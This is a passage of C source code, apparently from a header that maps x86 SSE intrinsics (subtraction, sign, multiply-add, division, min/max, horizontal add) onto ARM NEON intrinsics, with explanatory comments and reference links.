data) in a and // mask, and return 1 if the result is zero, otherwise return 0. // https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_test_all_zeros&expand=5871 FORCE_INLINE int _mm_test_all_zeros(__m128i a, __m128i mask) { int64x2_t a_and_mask = vandq_s64(vreinterpretq_s64_m128i(a), vreinterpretq_s64_m128i(mask)); return (vgetq_lane_s64(a_and_mask, 0) | vgetq_lane_s64(a_and_mask, 1)) ? 0 : 1; } // ****************************************** // Math operations // ****************************************** // Subtracts the four single-precision, floating-point values of a and b. // // r0 := a0 - b0 // r1 := a1 - b1 // r2 := a2 - b2 // r3 := a3 - b3 // // https://msdn.microsoft.com/en-us/library/vstudio/1zad2k61(v=vs.100).aspx FORCE_INLINE __m128 _mm_sub_ps(__m128 a, __m128 b) { return vreinterpretq_m128_f32( vsubq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Subtract 2 packed 64-bit integers in b from 2 packed 64-bit integers in a, // and store the results in dst. // r0 := a0 - b0 // r1 := a1 - b1 FORCE_INLINE __m128i _mm_sub_epi64(__m128i a, __m128i b) { return vreinterpretq_m128i_s64( vsubq_s64(vreinterpretq_s64_m128i(a), vreinterpretq_s64_m128i(b))); } // Subtracts the 4 signed or unsigned 32-bit integers of b from the 4 signed or // unsigned 32-bit integers of a. // // r0 := a0 - b0 // r1 := a1 - b1 // r2 := a2 - b2 // r3 := a3 - b3 // // https://msdn.microsoft.com/en-us/library/vstudio/fhh866h0(v=vs.100).aspx FORCE_INLINE __m128i _mm_sub_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vsubq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } FORCE_INLINE __m128i _mm_sub_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vsubq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } FORCE_INLINE __m128i _mm_sub_epi8(__m128i a, __m128i b) { return vreinterpretq_m128i_s8( vsubq_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); } // Subtracts the 8 unsigned 16-bit integers of bfrom the 8 unsigned 16-bit // integers of a and saturates.. // https://technet.microsoft.com/en-us/subscriptions/index/f44y0s19(v=vs.90).aspx FORCE_INLINE __m128i _mm_subs_epu16(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vqsubq_u16(vreinterpretq_u16_m128i(a), vreinterpretq_u16_m128i(b))); } // Subtracts the 16 unsigned 8-bit integers of b from the 16 unsigned 8-bit // integers of a and saturates. // // r0 := UnsignedSaturate(a0 - b0) // r1 := UnsignedSaturate(a1 - b1) // ... // r15 := UnsignedSaturate(a15 - b15) // // https://technet.microsoft.com/en-us/subscriptions/yadkxc18(v=vs.90) FORCE_INLINE __m128i _mm_subs_epu8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vqsubq_u8(vreinterpretq_u8_m128i(a), vreinterpretq_u8_m128i(b))); } // Subtracts the 8 signed 16-bit integers of b from the 8 signed 16-bit integers // of a and saturates. // // r0 := SignedSaturate(a0 - b0) // r1 := SignedSaturate(a1 - b1) // ... // r7 := SignedSaturate(a7 - b7) FORCE_INLINE __m128i _mm_subs_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vqsubq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } FORCE_INLINE __m128i _mm_adds_epu16(__m128i a, __m128i b) { return vreinterpretq_m128i_u16( vqaddq_u16(vreinterpretq_u16_m128i(a), vreinterpretq_u16_m128i(b))); } // Negate packed 8-bit integers in a when the corresponding signed // 8-bit integer in b is negative, and store the results in dst. // Element in dst are zeroed out when the corresponding element // in b is zero. // // for i in 0..15 // if b[i] < 0 // r[i] := -a[i] // else if b[i] == 0 // r[i] := 0 // else // r[i] := a[i] // fi // done FORCE_INLINE __m128i _mm_sign_epi8(__m128i _a, __m128i _b) { int8x16_t a = vreinterpretq_s8_m128i(_a); int8x16_t b = vreinterpretq_s8_m128i(_b); int8x16_t zero = vdupq_n_s8(0); // signed shift right: faster than vclt // (b < 0) ? 0xFF : 0 uint8x16_t ltMask = vreinterpretq_u8_s8(vshrq_n_s8(b, 7)); // (b == 0) ? 0xFF : 0 int8x16_t zeroMask = vreinterpretq_s8_u8(vceqq_s8(b, zero)); // -a int8x16_t neg = vnegq_s8(a); // bitwise select either a or neg based on ltMask int8x16_t masked = vbslq_s8(ltMask, a, neg); // res = masked & (~zeroMask) int8x16_t res = vbicq_s8(masked, zeroMask); return vreinterpretq_m128i_s8(res); } // Negate packed 16-bit integers in a when the corresponding signed // 16-bit integer in b is negative, and store the results in dst. // Element in dst are zeroed out when the corresponding element // in b is zero. // // for i in 0..7 // if b[i] < 0 // r[i] := -a[i] // else if b[i] == 0 // r[i] := 0 // else // r[i] := a[i] // fi // done FORCE_INLINE __m128i _mm_sign_epi16(__m128i _a, __m128i _b) { int16x8_t a = vreinterpretq_s16_m128i(_a); int16x8_t b = vreinterpretq_s16_m128i(_b); int16x8_t zero = vdupq_n_s16(0); // signed shift right: faster than vclt // (b < 0) ? 0xFFFF : 0 uint16x8_t ltMask = vreinterpretq_u16_s16(vshrq_n_s16(b, 15)); // (b == 0) ? 0xFFFF : 0 int16x8_t zeroMask = vreinterpretq_s16_u16(vceqq_s16(b, zero)); // -a int16x8_t neg = vnegq_s16(a); // bitwise select either a or neg based on ltMask int16x8_t masked = vbslq_s16(ltMask, a, neg); // res = masked & (~zeroMask) int16x8_t res = vbicq_s16(masked, zeroMask); return vreinterpretq_m128i_s16(res); } // Negate packed 32-bit integers in a when the corresponding signed // 32-bit integer in b is negative, and store the results in dst. // Element in dst are zeroed out when the corresponding element // in b is zero. // // for i in 0..3 // if b[i] < 0 // r[i] := -a[i] // else if b[i] == 0 // r[i] := 0 // else // r[i] := a[i] // fi // done FORCE_INLINE __m128i _mm_sign_epi32(__m128i _a, __m128i _b) { int32x4_t a = vreinterpretq_s32_m128i(_a); int32x4_t b = vreinterpretq_s32_m128i(_b); int32x4_t zero = vdupq_n_s32(0); // signed shift right: faster than vclt // (b < 0) ? 0xFFFFFFFF : 0 uint32x4_t ltMask = vreinterpretq_u32_s32(vshrq_n_s32(b, 31)); // (b == 0) ? 0xFFFFFFFF : 0 int32x4_t zeroMask = vreinterpretq_s32_u32(vceqq_s32(b, zero)); // neg = -a int32x4_t neg = vnegq_s32(a); // bitwise select either a or neg based on ltMask int32x4_t masked = vbslq_s32(ltMask, a, neg); // res = masked & (~zeroMask) int32x4_t res = vbicq_s32(masked, zeroMask); return vreinterpretq_m128i_s32(res); } // Computes the average of the 16 unsigned 8-bit integers in a and the 16 // unsigned 8-bit integers in b and rounds. // // r0 := (a0 + b0) / 2 // r1 := (a1 + b1) / 2 // ... // r15 := (a15 + b15) / 2 // // https://msdn.microsoft.com/en-us/library/vstudio/8zwh554a(v%3dvs.90).aspx FORCE_INLINE __m128i _mm_avg_epu8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vrhaddq_u8(vreinterpretq_u8_m128i(a), vreinterpretq_u8_m128i(b))); } // Computes the average of the 8 unsigned 16-bit integers in a and the 8 // unsigned 16-bit integers in b and rounds. // // r0 := (a0 + b0) / 2 // r1 := (a1 + b1) / 2 // ... // r7 := (a7 + b7) / 2 // // https://msdn.microsoft.com/en-us/library/vstudio/y13ca3c8(v=vs.90).aspx FORCE_INLINE __m128i _mm_avg_epu16(__m128i a, __m128i b) { return (__m128i) vrhaddq_u16(vreinterpretq_u16_m128i(a), vreinterpretq_u16_m128i(b)); } // Adds the four single-precision, floating-point values of a and b. // // r0 := a0 + b0 // r1 := a1 + b1 // r2 := a2 + b2 // r3 := a3 + b3 // // https://msdn.microsoft.com/en-us/library/vstudio/c9848chc(v=vs.100).aspx FORCE_INLINE __m128 _mm_add_ps(__m128 a, __m128 b) { return vreinterpretq_m128_f32( vaddq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // adds the scalar single-precision floating point values of a and b. // https://msdn.microsoft.com/en-us/library/be94x2y6(v=vs.100).aspx FORCE_INLINE __m128 _mm_add_ss(__m128 a, __m128 b) { float32_t b0 = vgetq_lane_f32(vreinterpretq_f32_m128(b), 0); float32x4_t value = vsetq_lane_f32(b0, vdupq_n_f32(0), 0); // the upper values in the result must be the remnants of <a>. return vreinterpretq_m128_f32(vaddq_f32(a, value)); } // Adds the 4 signed or unsigned 64-bit integers in a to the 4 signed or // unsigned 32-bit integers in b. // https://msdn.microsoft.com/en-us/library/vstudio/09xs4fkk(v=vs.100).aspx FORCE_INLINE __m128i _mm_add_epi64(__m128i a, __m128i b) { return vreinterpretq_m128i_s64( vaddq_s64(vreinterpretq_s64_m128i(a), vreinterpretq_s64_m128i(b))); } // Adds the 4 signed or unsigned 32-bit integers in a to the 4 signed or // unsigned 32-bit integers in b. // // r0 := a0 + b0 // r1 := a1 + b1 // r2 := a2 + b2 // r3 := a3 + b3 // // https://msdn.microsoft.com/en-us/library/vstudio/09xs4fkk(v=vs.100).aspx FORCE_INLINE __m128i _mm_add_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vaddq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Adds the 8 signed or unsigned 16-bit integers in a to the 8 signed or // unsigned 16-bit integers in b. // https://msdn.microsoft.com/en-us/library/fceha5k4(v=vs.100).aspx FORCE_INLINE __m128i _mm_add_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vaddq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Adds the 16 signed or unsigned 8-bit integers in a to the 16 signed or // unsigned 8-bit integers in b. // https://technet.microsoft.com/en-us/subscriptions/yc7tcyzs(v=vs.90) FORCE_INLINE __m128i _mm_add_epi8(__m128i a, __m128i b) { return vreinterpretq_m128i_s8( vaddq_s8(vreinterpretq_s8_m128i(a), vreinterpretq_s8_m128i(b))); } // Adds the 8 signed 16-bit integers in a to the 8 signed 16-bit integers in b // and saturates. // // r0 := SignedSaturate(a0 + b0) // r1 := SignedSaturate(a1 + b1) // ... // r7 := SignedSaturate(a7 + b7) // // https://msdn.microsoft.com/en-us/library/1a306ef8(v=vs.100).aspx FORCE_INLINE __m128i _mm_adds_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vqaddq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Adds the 16 unsigned 8-bit integers in a to the 16 unsigned 8-bit integers in // b and saturates.. // https://msdn.microsoft.com/en-us/library/9hahyddy(v=vs.100).aspx FORCE_INLINE __m128i _mm_adds_epu8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vqaddq_u8(vreinterpretq_u8_m128i(a), vreinterpretq_u8_m128i(b))); } // Multiplies the 8 signed or unsigned 16-bit integers from a by the 8 signed or // unsigned 16-bit integers from b. // // r0 := (a0 * b0)[15:0] // r1 := (a1 * b1)[15:0] // ... // r7 := (a7 * b7)[15:0] // // https://msdn.microsoft.com/en-us/library/vstudio/9ks1472s(v=vs.100).aspx FORCE_INLINE __m128i _mm_mullo_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vmulq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Multiplies the 4 signed or unsigned 32-bit integers from a by the 4 signed or // unsigned 32-bit integers from b. // https://msdn.microsoft.com/en-us/library/vstudio/bb531409(v=vs.100).aspx FORCE_INLINE __m128i _mm_mullo_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vmulq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Multiplies the four single-precision, floating-point values of a and b. // // r0 := a0 * b0 // r1 := a1 * b1 // r2 := a2 * b2 // r3 := a3 * b3 // // https://msdn.microsoft.com/en-us/library/vstudio/22kbk6t9(v=vs.100).aspx FORCE_INLINE __m128 _mm_mul_ps(__m128 a, __m128 b) { return vreinterpretq_m128_f32( vmulq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Multiply the low unsigned 32-bit integers from each packed 64-bit element in // a and b, and store the unsigned 64-bit results in dst. // // r0 := (a0 & 0xFFFFFFFF) * (b0 & 0xFFFFFFFF) // r1 := (a2 & 0xFFFFFFFF) * (b2 & 0xFFFFFFFF) FORCE_INLINE __m128i _mm_mul_epu32(__m128i a, __m128i b) { // vmull_u32 upcasts instead of masking, so we downcast. uint32x2_t a_lo = vmovn_u64(vreinterpretq_u64_m128i(a)); uint32x2_t b_lo = vmovn_u64(vreinterpretq_u64_m128i(b)); return vreinterpretq_m128i_u64(vmull_u32(a_lo, b_lo)); } // Multiply the low signed 32-bit integers from each packed 64-bit element in // a and b, and store the signed 64-bit results in dst. // // r0 := (int64_t)(int32_t)a0 * (int64_t)(int32_t)b0 // r1 := (int64_t)(int32_t)a2 * (int64_t)(int32_t)b2 FORCE_INLINE __m128i _mm_mul_epi32(__m128i a, __m128i b) { // vmull_s32 upcasts instead of masking, so we downcast. int32x2_t a_lo = vmovn_s64(vreinterpretq_s64_m128i(a)); int32x2_t b_lo = vmovn_s64(vreinterpretq_s64_m128i(b)); return vreinterpretq_m128i_s64(vmull_s32(a_lo, b_lo)); } // Multiplies the 8 signed 16-bit integers from a by the 8 signed 16-bit // integers from b. // // r0 := (a0 * b0) + (a1 * b1) // r1 := (a2 * b2) + (a3 * b3) // r2 := (a4 * b4) + (a5 * b5) // r3 := (a6 * b6) + (a7 * b7) // https://msdn.microsoft.com/en-us/library/yht36sa6(v=vs.90).aspx FORCE_INLINE __m128i _mm_madd_epi16(__m128i a, __m128i b) { int32x4_t low = vmull_s16(vget_low_s16(vreinterpretq_s16_m128i(a)), vget_low_s16(vreinterpretq_s16_m128i(b))); int32x4_t high = vmull_s16(vget_high_s16(vreinterpretq_s16_m128i(a)), vget_high_s16(vreinterpretq_s16_m128i(b))); int32x2_t low_sum = vpadd_s32(vget_low_s32(low), vget_high_s32(low)); int32x2_t high_sum = vpadd_s32(vget_low_s32(high), vget_high_s32(high)); return vreinterpretq_m128i_s32(vcombine_s32(low_sum, high_sum)); } // Multiply packed signed 16-bit integers in a and b, producing intermediate signed // 32-bit integers. Shift right by 15 bits while rounding up, and store the // packed 16-bit integers in dst. // // r0 := Round(((int32_t)a0 * (int32_t)b0) >> 15) // r1 := Round(((int32_t)a1 * (int32_t)b1) >> 15) // r2 := Round(((int32_t)a2 * (int32_t)b2) >> 15) // ... // r7 := Round(((int32_t)a7 * (int32_t)b7) >> 15) FORCE_INLINE __m128i _mm_mulhrs_epi16(__m128i a, __m128i b) { // Has issues due to saturation // return vreinterpretq_m128i_s16(vqrdmulhq_s16(a, b)); // Multiply int32x4_t mul_lo = vmull_s16(vget_low_s16(vreinterpretq_s16_m128i(a)), vget_low_s16(vreinterpretq_s16_m128i(b))); int32x4_t mul_hi = vmull_s16(vget_high_s16(vreinterpretq_s16_m128i(a)), vget_high_s16(vreinterpretq_s16_m128i(b))); // Rounding narrowing shift right // narrow = (int16_t)((mul + 16384) >> 15); int16x4_t narrow_lo = vrshrn_n_s32(mul_lo, 15); int16x4_t narrow_hi = vrshrn_n_s32(mul_hi, 15); // Join together return vreinterpretq_m128i_s16(vcombine_s16(narrow_lo, narrow_hi)); } // Vertically multiply each unsigned 8-bit integer from a with the corresponding // signed 8-bit integer from b, producing intermediate signed 16-bit integers. // Horizontally add adjacent pairs of intermediate signed 16-bit integers, // and pack the saturated results in dst. // // FOR j := 0 to 7 // i := j*16 // dst[i+15:i] := Saturate_To_Int16( a[i+15:i+8]*b[i+15:i+8] + a[i+7:i]*b[i+7:i] ) // ENDFOR FORCE_INLINE __m128i _mm_maddubs_epi16(__m128i _a, __m128i _b) { // This would be much simpler if x86 would choose to zero extend OR sign extend, // not both. // This could probably be optimized better. uint16x8_t a = vreinterpretq_u16_m128i(_a); int16x8_t b = vreinterpretq_s16_m128i(_b); // Zero extend a int16x8_t a_odd = vreinterpretq_s16_u16(vshrq_n_u16(a, 8)); int16x8_t a_even = vreinterpretq_s16_u16(vbicq_u16(a, vdupq_n_u16(0xff00))); // Sign extend by shifting left then shifting right. int16x8_t b_even = vshrq_n_s16(vshlq_n_s16(b, 8), 8); int16x8_t b_odd = vshrq_n_s16(b, 8); // multiply int16x8_t prod1 = vmulq_s16(a_even, b_even); int16x8_t prod2 = vmulq_s16(a_odd, b_odd); // saturated add return vreinterpretq_m128i_s16(vqaddq_s16(prod1, prod2)); } // Computes the absolute difference of the 16 unsigned 8-bit integers from a // and the 16 unsigned 8-bit integers from b. // // Return Value // Sums the upper 8 differences and lower 8 differences and packs the // resulting 2 unsigned 16-bit integers into the upper and lower 64-bit // elements. // // r0 := abs(a0 - b0) + abs(a1 - b1) +...+ abs(a7 - b7) // r1 := 0x0 // r2 := 0x0 // r3 := 0x0 // r4 := abs(a8 - b8) + abs(a9 - b9) +...+ abs(a15 - b15) // r5 := 0x0 // r6 := 0x0 // r7 := 0x0 FORCE_INLINE __m128i _mm_sad_epu8(__m128i a, __m128i b) { uint16x8_t t = vpaddlq_u8(vabdq_u8((uint8x16_t) a, (uint8x16_t) b)); uint16_t r0 = t[0] + t[1] + t[2] + t[3]; uint16_t r4 = t[4] + t[5] + t[6] + t[7]; uint16x8_t r = vsetq_lane_u16(r0, vdupq_n_u16(0), 0); return (__m128i) vsetq_lane_u16(r4, r, 4); } // Divides the four single-precision, floating-point values of a and b. // // r0 := a0 / b0 // r1 := a1 / b1 // r2 := a2 / b2 // r3 := a3 / b3 // // https://msdn.microsoft.com/en-us/library/edaw8147(v=vs.100).aspx FORCE_INLINE __m128 _mm_div_ps(__m128 a, __m128 b) { float32x4_t recip0 = vrecpeq_f32(vreinterpretq_f32_m128(b)); float32x4_t recip1 = vmulq_f32(recip0, vrecpsq_f32(recip0, vreinterpretq_f32_m128(b))); return vreinterpretq_m128_f32(vmulq_f32(vreinterpretq_f32_m128(a), recip1)); } // Divides the scalar single-precision floating point value of a by b. // https://msdn.microsoft.com/en-us/library/4y73xa49(v=vs.100).aspx FORCE_INLINE __m128 _mm_div_ss(__m128 a, __m128 b) { float32_t value = vgetq_lane_f32(vreinterpretq_f32_m128(_mm_div_ps(a, b)), 0); return vreinterpretq_m128_f32( vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); } // This version does additional iterations to improve accuracy. Between 1 and 4 // recommended. Computes the approximations of reciprocals of the four // single-precision, floating-point values of a. // https://msdn.microsoft.com/en-us/library/vstudio/796k1tty(v=vs.100).aspx FORCE_INLINE __m128 recipq_newton(__m128 in, int n) { int i; float32x4_t recip = vrecpeq_f32(vreinterpretq_f32_m128(in)); for (i = 0; i < n; ++i) { recip = vmulq_f32(recip, vrecpsq_f32(recip, vreinterpretq_f32_m128(in))); } return vreinterpretq_m128_f32(recip); } // Computes the approximations of reciprocals of the four single-precision, // floating-point values of a. // https://msdn.microsoft.com/en-us/library/vstudio/796k1tty(v=vs.100).aspx FORCE_INLINE __m128 _mm_rcp_ps(__m128 in) { float32x4_t recip = vrecpeq_f32(vreinterpretq_f32_m128(in)); recip = vmulq_f32(recip, vrecpsq_f32(recip, vreinterpretq_f32_m128(in))); return vreinterpretq_m128_f32(recip); } // Computes the approximations of square roots of the four single-precision, // floating-point values of a. First computes reciprocal square roots and then // reciprocals of the four values. // // r0 := sqrt(a0) // r1 := sqrt(a1) // r2 := sqrt(a2) // r3 := sqrt(a3) // // https://msdn.microsoft.com/en-us/library/vstudio/8z67bwwk(v=vs.100).aspx FORCE_INLINE __m128 _mm_sqrt_ps(__m128 in) { float32x4_t recipsq = vrsqrteq_f32(vreinterpretq_f32_m128(in)); float32x4_t sq = vrecpeq_f32(recipsq); // ??? use step versions of both sqrt and recip for better accuracy? return vreinterpretq_m128_f32(sq); } // Computes the approximation of the square root of the scalar single-precision // floating point value of in. // https://msdn.microsoft.com/en-us/library/ahfsc22d(v=vs.100).aspx FORCE_INLINE __m128 _mm_sqrt_ss(__m128 in) { float32_t value = vgetq_lane_f32(vreinterpretq_f32_m128(_mm_sqrt_ps(in)), 0); return vreinterpretq_m128_f32( vsetq_lane_f32(value, vreinterpretq_f32_m128(in), 0)); } // Computes the approximations of the reciprocal square roots of the four // single-precision floating point values of in. // https://msdn.microsoft.com/en-us/library/22hfsh53(v=vs.100).aspx FORCE_INLINE __m128 _mm_rsqrt_ps(__m128 in) { return vreinterpretq_m128_f32(vrsqrteq_f32(vreinterpretq_f32_m128(in))); } // Computes the maximums of the four single-precision, floating-point values of // a and b. // https://msdn.microsoft.com/en-us/library/vstudio/ff5d607a(v=vs.100).aspx FORCE_INLINE __m128 _mm_max_ps(__m128 a, __m128 b) { return vreinterpretq_m128_f32( vmaxq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Computes the minima of the four single-precision, floating-point values of a // and b. // https://msdn.microsoft.com/en-us/library/vstudio/wh13kadz(v=vs.100).aspx FORCE_INLINE __m128 _mm_min_ps(__m128 a, __m128 b) { return vreinterpretq_m128_f32( vminq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); } // Computes the maximum of the two lower scalar single-precision floating point // values of a and b. // https://msdn.microsoft.com/en-us/library/s6db5esz(v=vs.100).aspx FORCE_INLINE __m128 _mm_max_ss(__m128 a, __m128 b) { float32_t value = vgetq_lane_f32( vmaxq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); return vreinterpretq_m128_f32( vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); } // Computes the minimum of the two lower scalar single-precision floating point // values of a and b. // https://msdn.microsoft.com/en-us/library/0a9y7xaa(v=vs.100).aspx FORCE_INLINE __m128 _mm_min_ss(__m128 a, __m128 b) { float32_t value = vgetq_lane_f32( vminq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); return vreinterpretq_m128_f32( vsetq_lane_f32(value, vreinterpretq_f32_m128(a), 0)); } // Computes the pairwise maxima of the 16 unsigned 8-bit integers from a and the // 16 unsigned 8-bit integers from b. // https://msdn.microsoft.com/en-us/library/st6634za(v=vs.100).aspx FORCE_INLINE __m128i _mm_max_epu8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vmaxq_u8(vreinterpretq_u8_m128i(a), vreinterpretq_u8_m128i(b))); } // Computes the pairwise minima of the 16 unsigned 8-bit integers from a and the // 16 unsigned 8-bit integers from b. // https://msdn.microsoft.com/ko-kr/library/17k8cf58(v=vs.100).aspxx FORCE_INLINE __m128i _mm_min_epu8(__m128i a, __m128i b) { return vreinterpretq_m128i_u8( vminq_u8(vreinterpretq_u8_m128i(a), vreinterpretq_u8_m128i(b))); } // Computes the pairwise minima of the 8 signed 16-bit integers from a and the 8 // signed 16-bit integers from b. // https://msdn.microsoft.com/en-us/library/vstudio/6te997ew(v=vs.100).aspx FORCE_INLINE __m128i _mm_min_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vminq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // Computes the pairwise maxima of the 8 signed 16-bit integers from a and the 8 // signed 16-bit integers from b. // https://msdn.microsoft.com/en-us/LIBRary/3x060h7c(v=vs.100).aspx FORCE_INLINE __m128i _mm_max_epi16(__m128i a, __m128i b) { return vreinterpretq_m128i_s16( vmaxq_s16(vreinterpretq_s16_m128i(a), vreinterpretq_s16_m128i(b))); } // epi versions of min/max // Computes the pariwise maximums of the four signed 32-bit integer values of a // and b. // // A 128-bit parameter that can be defined with the following equations: // r0 := (a0 > b0) ? a0 : b0 // r1 := (a1 > b1) ? a1 : b1 // r2 := (a2 > b2) ? a2 : b2 // r3 := (a3 > b3) ? a3 : b3 // // https://msdn.microsoft.com/en-us/library/vstudio/bb514055(v=vs.100).aspx FORCE_INLINE __m128i _mm_max_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vmaxq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Computes the pariwise minima of the four signed 32-bit integer values of a // and b. // // A 128-bit parameter that can be defined with the following equations: // r0 := (a0 < b0) ? a0 : b0 // r1 := (a1 < b1) ? a1 : b1 // r2 := (a2 < b2) ? a2 : b2 // r3 := (a3 < b3) ? a3 : b3 // // https://msdn.microsoft.com/en-us/library/vstudio/bb531476(v=vs.100).aspx FORCE_INLINE __m128i _mm_min_epi32(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vminq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Multiplies the 8 signed 16-bit integers from a by the 8 signed 16-bit // integers from b. // // r0 := (a0 * b0)[31:16] // r1 := (a1 * b1)[31:16] // ... // r7 := (a7 * b7)[31:16] // // https://msdn.microsoft.com/en-us/library/vstudio/59hddw1d(v=vs.100).aspx FORCE_INLINE __m128i _mm_mulhi_epi16(__m128i a, __m128i b) { /* FIXME: issue with large values because of result saturation */ // int16x8_t ret = vqdmulhq_s16(vreinterpretq_s16_m128i(a), // vreinterpretq_s16_m128i(b)); /* =2*a*b */ return // vreinterpretq_m128i_s16(vshrq_n_s16(ret, 1)); int16x4_t a3210 = vget_low_s16(vreinterpretq_s16_m128i(a)); int16x4_t b3210 = vget_low_s16(vreinterpretq_s16_m128i(b)); int32x4_t ab3210 = vmull_s16(a3210, b3210); /* 3333222211110000 */ int16x4_t a7654 = vget_high_s16(vreinterpretq_s16_m128i(a)); int16x4_t b7654 = vget_high_s16(vreinterpretq_s16_m128i(b)); int32x4_t ab7654 = vmull_s16(a7654, b7654); /* 7777666655554444 */ uint16x8x2_t r = vuzpq_u16(vreinterpretq_u16_s32(ab3210), vreinterpretq_u16_s32(ab7654)); return vreinterpretq_m128i_u16(r.val[1]); } // Computes pairwise add of each argument as single-precision, floating-point // values a and b. // https://msdn.microsoft.com/en-us/library/yd9wecaa.aspx FORCE_INLINE __m128 _mm_hadd_ps(__m128 a, __m128 b) { #if defined(__aarch64__) return vreinterpretq_m128_f32(vpaddq_f32( vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); // AArch64 #else float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32( vcombine_f32(vpadd_f32(a10, a32), vpadd_f32(b10, b32))); #endif } // Computes pairwise add of each argument as a 16-bit signed or unsigned integer // values a and b. FORCE_INLINE __m128i _mm_hadd_epi16(__m128i _a, __m128i _b) { int16x8_t a = vreinterpretq_s16_m128i(_a); int16x8_t b = vreinterpretq_s16_m128i(_b); #if defined(__aarch64__) return vreinterpretq_m128i_s16(vpaddq_s16(a, b)); #else return vreinterpretq_m128i_s16( vcombine_s16( vpadd_s16(vget_low_s16(a), vget_high_s16(a)), vpadd_s16(vget_low_s16(b), vget_high_s16(b)) ) ); #endif } // Computes pairwise difference of each argument as a 16-bit signed or unsigned integer // values a and b. FORCE_INLINE __m128i _mm_hsub_epi16(__m128i _a, __m128i _b) { int32x4_t a = vreinterpretq_s32_m128i(_a); int32x4_t b = vreinterpretq_s32_m128i(_b); // Interleave using vshrn/vmovn // [a0|a2|a4|a6|b0|b2|b4|b6] // [a1|a3|a5|a7|b1|b3|b5|b7] int16x8_t ab0246 = vcombine_s16(vmovn_s32(a), vmovn_s32(b)); int16x8_t ab1357 = vcombine_s16(vshrn_n_s32(a, 16), vshrn_n_s32(b, 16)); // Subtract return vreinterpretq_m128i_s16(vsubq_s16(ab0246, ab1357)); } // Computes saturated pairwise sub of each argument as a 16-bit signed // integer values a and b. FORCE_INLINE __m128i _mm_hadds_epi16(__m128i _a, __m128i _b) { int32x4_t a = vreinterpretq_s32_m128i(_a); int32x4_t b = vreinterpretq_s32_m128i(_b); // Interleave using vshrn/vmovn // [a0|a2|a4|a6|b0|b2|b4|b6] // [a1|a3|a5|a7|b1|b3|b5|b7] int16x8_t ab0246 = vcombine_s16(vmovn_s32(a), vmovn_s32(b)); int16x8_t ab1357 = vcombine_s16(vshrn_n_s32(a, 16), vshrn_n_s32(b, 16)); // Saturated add return vreinterpretq_m128i_s16(vqaddq_s16(ab0246, ab1357)); } // Computes saturated pairwise difference of each argument as a 16-bit signed // integer values a and b. FORCE_INLINE __m128i _mm_hsubs_epi16(__m128i _a, __m128i _b) { int32x4_t a = vreinterpretq_s32_m128i(_a); int32x4_t b = vreinterpretq_s32_m128i(_b); // Interleave using vshrn/vmovn // [a0|a2|a4|a6|b0|b2|b4|b6] // [a1|a3|a5|a7|b1|b3|b5|b7] int16x8_t ab0246 = vcombine_s16(vmovn_s32(a), vmovn_s32(b)); int16x8_t ab1357 = vcombine_s16(vshrn_n_s32(a, 16), vshrn_n_s32(b, 16)); // Saturated subtract return vreinterpretq_m128i_s16(vqsubq_s16(ab0246, ab1357)); } // Computes pairwise add of each argument as a 32-bit signed or unsigned integer // values a and b. FORCE_INLINE __m128i _mm_hadd_epi32(__m128i _a, __m128i _b) { int32x4_t a = vreinterpretq_s32_m128i(_a); int32x4_t b = vreinterpretq_s32_m128i(_b); return vreinterpretq_m128i_s32( vcombine_s32( vpadd_s32(vget_low_s32(a), vget_high_s32(a)), vpadd_s32(vget_low_s32(b), vget_high_s32(b)) ) ); } // Computes pairwise difference of each argument as a 32-bit signed or unsigned integer // values a and b. FORCE_INLINE __m128i _mm_hsub_epi32(__m128i _a, __m128i _b) { int64x2_t a = vreinterpretq_s64_m128i(_a); int64x2_t b = vreinterpretq_s64_m128i(_b); // Interleave using vshrn/vmovn // [a0|a2|b0|b2] // [a1|a2|b1|b3] int32x4_t ab02 = 